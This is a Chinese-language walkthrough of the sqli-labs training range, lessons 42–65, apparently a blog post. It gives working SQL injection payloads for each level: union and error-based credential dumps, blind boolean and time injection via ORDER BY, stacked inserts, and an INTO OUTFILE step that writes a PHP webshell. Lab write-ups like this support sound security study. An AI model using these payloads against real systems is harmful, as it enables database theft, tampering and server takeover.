这个题漏洞比较多,下面一个一个来分析:
-
index.php
就是一些前端代码,表单什么的,没什么敏感信息 -
login.php
# 这里username进行了转义,password没有进行转义,所以password存在注入点
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
payload:
login_user=admin&login_password=12' union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3#&mysubmit=Login
这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24。
Less-43
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间,堆叠 | username=('$username') |
这一关跟42关的利用方式一样,只不过拼接方式不一样罢了,这里就不啰嗦了。
Less-44
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,时间,堆叠 | username='$username' |
这一关跟42关的利用方式一样,因为没有了报错输出,所以这里没有了报错注入,这里就不啰嗦了。
Less-45
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,时间,堆叠 | username=('$username') |
这一关跟43关的闭合方式一样,只不过没有了报错输出,少了报错注入罢了。
Less-46
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,布尔,时间 | ORDER BY $id |
源码分析
# GET方式获取sort参数
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
if 有结果:
输出信息
else
print_r(mysql_error());
order by 不同于 where 后的注入点,不能使用 union 等进行注入。注入方式十分灵活,下面在本关来详细讲解一下。
验证方式
升序和降序验证
# 升序验证
?sort=1+asc
# 降序验证
?sort=1+desc
rand()验证
rand(ture) 和 rand(false) 的结果是不一样的
?sort=rand(true)
?sort=rand(false)
所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload
此外 rand() 结果是一直都是随机的
延时验证
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
这种方式均可以延时,延时的时间为 (行数*1) 秒
报错注入
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)
布尔注入
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
时间注入
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
into outfile
?sort=1 into outfile "/var/www/html/less46.txt"
如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。
利用导出文件 getshell
?sort=1 into outfile "/var/www/html/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码
Less-47
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,布尔,时间 | ORDER BY '$id' |
这一关跟第46关利用方法一样,只不过是闭合方式不一样。
Less-48
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔,时间 | ORDER BY $id |
这一关跟46关一样,但是没有了报错信息输出,所以少了报错注入,但是布尔和时间盲注还是可以的。
Less-49
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔,时间 | ORDER BY '$id' |
这一关跟47关一样,但是没有了报错信息输出,所以少了报错注入,但是布尔和时间盲注还是可以的。
Less-50
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,布尔,时间,堆叠 | ORDER BY $id |
这一关跟46关的区别就是查询方式由mysql_query
变成了mysqli_multi_query
,因此支持堆叠注入,其他注入方式跟46关一样,这里演示一下堆叠注入:
# 插入一个新的用户名密码"hello:world"
?sort=1;insert into users(username,password) values ('hello','world');
Less-51
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,布尔,时间,堆叠 | ORDER BY '$id' |
这一关跟50关利用方法是一样的,除了闭合方式不一样。利用的时候修改一下闭合方式即可。
Less-52
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔,时间,堆叠 | ORDER BY $id |
这一关跟50关的利用方法一样,只是少了报错注入而已,因为没有了mysql的报错函数,没有报错信息输出。
Less-53
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔,时间,堆叠 | ORDER BY '$id' |
这一关跟51关的利用方法一样,只是少了报错注入而已,因为没有了mysql的报错函数,没有报错信息输出。
进阶挑战
Less-54
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,联合,布尔,时间 | id='$id' |
源码分析
if reset:
# 根据时间戳生成 cookie
setcookie('challenge', ' ', time() - 3600000);
else:
if cookie 中有 challenge:
$sessid=$_COOKIE['challenge'];
else:
# 生成 cookie
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
if $_GET['id']:
计数器 + 1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if 有查询成功:
输出查询信息
else:
啥都不输出
# key 被双重过滤了
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
这个题目意思是要我们十步之内拿到key数据吧,相当于应用了,下面我们试试联合注入:
- 判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
- 查看回显点
?id=-1' union select 1,2,3--+
- 爆出表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
表名:1LCT0WXIQ7(这个每次都会刷新,每次都不一样!)
- 爆出列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='1LCT0WXIQ7'),3--+
列名:id,sessid,secret_FC8G,tryy
- 爆出
secret_FC8G
列的内容,猜测这个列里面应该就是key
?id=-1' union select 1,(select group_concat(secret_FC8G) from 1LCT0WXIQ7),3--+
key:EqnpxZUw2nTbAyIzP4JTc26G
总共只需要6步,所以说十步之内拿到key还是可以的。
Less-55
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,联合,布尔,时间 | id=($id) |
这一关跟54关利用方法一样,就是闭合方式不一样,同时这一关给了14次机会。
Less-56
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,联合,布尔,时间 | id=('$id') |
这一关跟54关利用方法一样,就是闭合方式不一样,同时这一关也给了14次机会。
Less-57
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,联合,布尔,时间 | id="$id" |
这一关跟54关利用方法一样,就是闭合方式不一样,同时这一关也给了14次机会。
Less-58
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,布尔,时间 | id='$id' |
这一关跟前面的主要区别代码如下:
# username是固定的,而password是username的逆序
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
# 这里只输出uname数组
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
就是说页面并不会显示数据库查询到的东西,而是只输出uname数组固定的值,就没办法联合查询了,但是有print_r(mysql_error());
这个呀,所以我们可以进行报错注入,具体payload如下:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_HJ71) from MRUXXAF5WK),0x7e),1)--+
我查询的表名:MRUXXAF5WK 列名:secret_HJ71 key:vNYO4sz333BXSOloI5Hrjwtt
Less-59
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,布尔,时间 | id=$id |
这一关跟58关的利用方法一样,只是拼接方式不一样。
Less-60
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,布尔,时间 | id="$id" |
这一关跟58关的利用方法一样,只是拼接方式不一样。
Less-61
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,布尔,时间 | id=(('$id')) |
这一关跟58关的利用方法一样,只是拼接方式不一样。
Less-62
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔,时间 | id=('$id') |
呕吼,这一关报错注入没有了,print_r(mysql_error())
这个函数被注释了,那么这一关就只能布尔注入或者时间注入了,一般实战中要么通过sqlmap这样的神器跑出来,如果sqlmap没有跑出来,就自己写个小脚本跑出来(脚本就不写了,大家自己尝试写吧)。手工注入的话怕不是得注到死(不推荐哈!有头铁的可以去试试,拿ascii码表一个一个去爆😂)
这个还不太好爆呀!次数就140次,超过了就重置了,白爆了😭
Less-63
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔,时间 | id='$id' |
这个跟62关利用方法一样啊,但是次数更少了,只有130次,超过次数就会重置表名跟列名还要key值,然后拼接方式不一样。
Less-64
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔,时间 | id=(($id)) |
这个跟63关利用方法一样啊,次数也是130次,超过次数就会重置表名跟列名还要key值,然后拼接方式不一样。
Less-65
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔,时间 | id=("$id") |
这个跟63关利用方法一样啊,次数也是130次,超过次数就会重置表名跟列名还要key值,然后拼接方式不一样。
总结
之前呢一直依赖于sqlmap这样的注入神器,但是手工注入也是很重要的。就想着来刷一下sql靶场练习练习自己的手工注入,发现还是感觉提升不少了。至少联合和报错注入已经敲的滚瓜烂熟了。哈哈哈!sqlmap用来跑盲注还是效果显著的,但是联合和报错注入其实手工跟sqlmap速度差不多的。就最后那几关sqlmap也是跑不出来,哎,比较次数限制在那,sqlmap拿大量payload去测试,还没测完就换了。建议大家还是自己写一下小脚本,还是挺实用的。